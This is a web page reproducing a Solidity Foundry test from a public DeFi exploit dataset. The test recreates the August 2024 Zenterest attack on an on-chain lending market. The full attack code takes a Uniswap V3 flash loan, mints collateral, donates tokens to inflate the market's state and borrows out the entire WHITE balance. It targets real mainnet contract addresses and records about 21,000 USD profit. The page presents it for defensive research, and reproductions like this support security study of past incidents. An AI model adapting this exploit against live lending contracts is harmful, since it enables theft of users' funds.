Skip to content
THREATWIRE

Public reproduction file

src/test/2024-08/Zenterest_exp.sol

Public reproduction file for dataset entry Zenterest.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-08/Zenterest_exp.sol53 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// TX : https://etherscan.io/tx/0xfe8bc757d87e97a5471378c90d390df47e1b29bb9fca918b94acd8ecfaadc598
8// Profit : ~ 21000 USD
9// REASON : Price Out Of Date
11contract ContractTest is Test {
12 address attacker = address(this);
13 Uni_Pair_V3 Pool = Uni_Pair_V3(0xC5c134A1f112efA96003f8559Dba6fAC0BA77692);
14 IERC20 WHITE = IERC20(0x5F0E628B693018f639D10e4A4F59BD4d8B2B6B44);
15 IERC20 MPH = IERC20(0x8888801aF4d980682e47f1A9036e589479e835C5);
16 IUnitroller unitroller = IUnitroller(0x606246e9EF6C70DCb6CEE42136cd06D127E2B7C7);
17 ICErc20Delegate zenWHITE = ICErc20Delegate(0xE3334e66634acF17B2b97ab560ec92D6861b25fa);
18 ICErc20Delegate zenMPH = ICErc20Delegate(0x4dD6D5D861EDcD361455b330fa28c4C9817dA687);
20 function setUp() external {
21 vm.createSelectFork("mainnet", 20_541_640 - 1);
22 vm.label(address(WHITE), "WHITE");
23 vm.label(address(MPH), "MPH");
24 vm.label(address(Pool), "Pool");
25 vm.label(address(unitroller), "unitroller");
26 vm.label(address(zenWHITE), "zenWHITE");
27 vm.label(address(zenMPH), "zenMPH");
28 }
30 function testExploit() external {
31 vm.prank(0x90744C976F69c7d112E8Fe85c750ACe2a2c16f15);
32 MPH.transfer(attacker, 23_200 ether);
33 Pool.flash(attacker, 85 ether, 0, "");
34 }
36 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
37 address[] memory cTokens = new address[](1);
38 cTokens[0] = address(zenMPH);
39 unitroller.enterMarkets(cTokens);
40 MPH.approve(address(zenMPH), type(uint256).max);
41 MPH.transfer(address(zenMPH), 2000 ether);
42 zenMPH.mint(21_200 ether);
44 uint256 WHITEBal = WHITE.balanceOf(attacker);
45 WHITE.transfer(address(zenWHITE), WHITEBal);
46 zenWHITE.accrueInterest();
48 uint256 borrowAmount = WHITE.balanceOf(address(zenWHITE));
49 zenWHITE.borrow(borrowAmount);
51 WHITE.transfer(address(Pool), WHITEBal + fee0);
52 }

Analysis

Dataset entry

Public Foundry test for “Zenterest” (2024-08-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Zenterest
Path
src/test/2024-08/Zenterest_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f06393d08fe4088d013dca9d3cd5b4f12d08ce6a
Language
Solidity
Size
54 lines
Date
2024-08-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-08/Zenterest_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f06393d08fe4088d013dca9d3cd5b4f12d08ce6a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.